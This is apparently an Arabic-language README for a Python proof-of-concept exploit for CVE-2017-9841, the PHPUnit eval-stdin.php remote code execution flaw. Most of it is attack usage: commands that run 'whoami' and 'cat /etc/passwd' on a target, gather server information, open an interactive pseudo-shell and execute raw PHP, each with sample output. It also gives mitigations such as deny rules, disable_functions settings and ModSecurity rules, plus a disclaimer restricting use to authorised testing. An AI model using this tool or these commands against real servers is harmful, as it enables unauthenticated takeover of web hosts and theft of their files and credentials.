
الثغرة CVE-2017-9841 هي ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) في مكتبة PHPUnit، وتؤثر على الإصدارات السابقة للإصدار 5.6.3 وإصدارات 6.x السابقة للإصدار 6.4.2.
⚠️ إخلاء مسؤولية: هذه الأداة مخصصة للأغراض التعليمية واختبارات الأمان المصرح بها فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام لهذه الأداة.
CVE-2017-9841 هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في مكتبة PHPUnit، وتؤثر على الإصدارات السابقة لـ 5.6.3 وجميع إصدارات 6.x السابقة لـ 6.4.2.
توجد الثغرة في src/Util/PHP/eval-stdin.php، الذي ينفّذ كود PHP المستلم عبر php://input (جسم طلب POST) باستخدام دالة eval(). إذا كان هذا الملف متاحًا للجمهور (على سبيل المثال، داخل مجلد vendor/ غير محمي)، يمكن للمهاجم تنفيذ كود PHP تعسفي على الخادم دون الحاجة إلى مصادقة.
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));
يقبل هذا الملف كود PHP من جسم طلب POST وينفّذه فورًا باستخدام eval() دون أي مصادقة أو تحقق.
requestspip install requests
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py
python3 poc_cve-2017-9841.py -u <URL> [options]
يقبل الخيار -u كلاً من عنوان URL الأساسي (يضيف المسار القابل للاستغلال تلقائيًا) أو عنوان URL كامل يشير مباشرة إلى eval-stdin.php.
python3 poc_cve-2017-9841.py -u 'https://target.com' --check
المخرجات:
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841
# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'
# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'
# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'
# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt
python3 poc_cve-2017-9841.py -u 'https://target.com' --info
المخرجات:
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS : Linux
SAPI : fpm-fcgi
User : www-data
Hostname : web-server-01
Server IP : 192.168.1.100
CWD : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root : /var/www/html/
Server SW : Apache
Memory Limit: 256M
Max Exec : 30s
Open Basedir: (none)
Disabled Fn : (none)
=== DANGEROUS FUNCTIONS ===
system: YES
exec: YES
passthru: YES
shell_exec: YES
proc_open: YES
popen: YES
curl_exec: YES
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell
المخرجات:
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root root 4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--path '/custom/path/eval-stdin.php' -c 'whoami'
python3 poc_cve-2017-9841.py \
-u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
-c 'whoami'
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--php '<?php phpinfo(); ?>'
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
أضف ملف .htaccess داخل مجلد vendor/:
# /path/to/project/vendor/.htaccess
Deny from all
أو قم بضبطه في Apache VirtualHost:
<Directory "/path/to/project/vendor">
Require all denied
</Directory>
بالنسبة إلى Nginx:
location /vendor/ {
deny all;
return 403;
}
cd /path/to/project
composer install --no-dev --optimize-autoloader
disable_functions في php.ini; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
open_basedir; /etc/php/8.4/fpm/php.ini or in VirtualHost
open_basedir = /var/www/html/project:/tmp
max_execution_timemax_execution_time = 30
sudo systemctl restart php8.4-fpm
# or
sudo systemctl restart php-fpm
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit
مثال على ModSecurity:
SecRule REQUEST_URI "eval-stdin\.php" \
"id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"
SecRule REQUEST_URI "/vendor/" \
"id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"
# Example: GitHub Actions
- name: Install production dependencies only
run: composer install --no-dev --optimize-autoloader
- name: Remove test files and vulnerable scripts
run: |
rm -rf vendor/phpunit
rm -rf vendor/mockery
rm -rf tests/
find vendor -name "eval-stdin.php" -delete
┌──────────────────────────────┐
│ Attacker │
└──────────────┬───────────────┘
│ POST (PHP code)
▼
┌─────────────────────────────────────────────────────────────┐
│ Apache Server │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php │ │
│ │ │ │
│ │ eval('?>' . file_get_contents('php://input')); │ │
│ │ ▲ │ │
│ └───────────┼───────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Arbitrary Code Execution │ │
│ │ │ │
│ │ - Read/Write files on the server │ │
│ │ - Access database credentials │ │
│ │ - Lateral movement to internal network │ │
│ │ - Install backdoors / webshells │ │
│ │ - Privilege escalation │ │
│ └───────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
تزيد الحالات التالية بشكل كبير من شدة هذه الثغرة وقابليتها للاستغلال:
تم توفير هذه الأداة للأغراض التعليمية واختبارات الأمان المصرح بها فقط.
| الحقل | القيمة |
|---|
| معرف CVE | CVE-2017-9841 |
| درجة CVSS | 9.8 (حرجة) |
| المتأثر | PHPUnit < 5.6.3, 6.x < 6.4.2 |
| النوع | تنفيذ التعليمات البرمجية عن بُعد (RCE) |
| المصادقة | غير مطلوبة |
| ناقل الهجوم | الشبكة (عن بُعد) |
| تاريخ النشر | 27 يونيو 2017 |
| المرجع | NVD |
| الخيار | الوصف |
|---|
-u, --url URL | عنوان URL أساسي للهدف أو عنوان URL كامل إلى eval-stdin.php |
-c, --cmd CMD | أمر CLI لتنفيذه على الخادم الهدف |
--check | التحقق مما إذا كان الهدف قابلاً للاستغلال دون تنفيذ أوامر |
--shell | فتح قشرة شبه تفاعلية |
--info | جمع معلومات الخادم (للقراءة فقط) |
--find-path | فحص المسارات الشائعة لتحديد موقع eval-stdin.php |
--path PATH | تحديد مسار مخصص إلى eval-stdin.php |
--timeout N | مهلة الطلب بالثواني (الافتراضي: 30) |
-o, --output FILE | حفظ مخرجات الأمر في ملف |
--php CODE | تنفيذ كود PHP خام بدلاً من أوامر النظام |
| العامل | التأثير |
|---|
disable_functions فارغ | جميع دوال PHP متاحة (system, exec, ...إلخ) |
open_basedir غير مضبوط | يمكن للمهاجم قراءة/كتابة الملفات عبر نظام الملفات بالكامل |
max_execution_time مرتفع | يحصل المهاجم على مزيد من الوقت لكل طلب لتنفيذ حمولات معقدة |
| امتداد FFI محمّل | يتيح استدعاءات مباشرة لدوال C، متجاوزًا قيود PHP |
| امتدادات قاعدة البيانات محمّلة | إمكانية اتصالات مباشرة بقاعدة البيانات (mysqli, pgsql, ...إلخ) |
| عدم نشر WAF | لا يوجد تصفية أو حظر للطلبات |
| عدم وجود IDS/IPS | لا يوجد كشف للشذوذ أو تنبيه |
| اعتماديات التطوير في بيئة الإنتاج | توسّع سطح الهجوم دون داعٍ |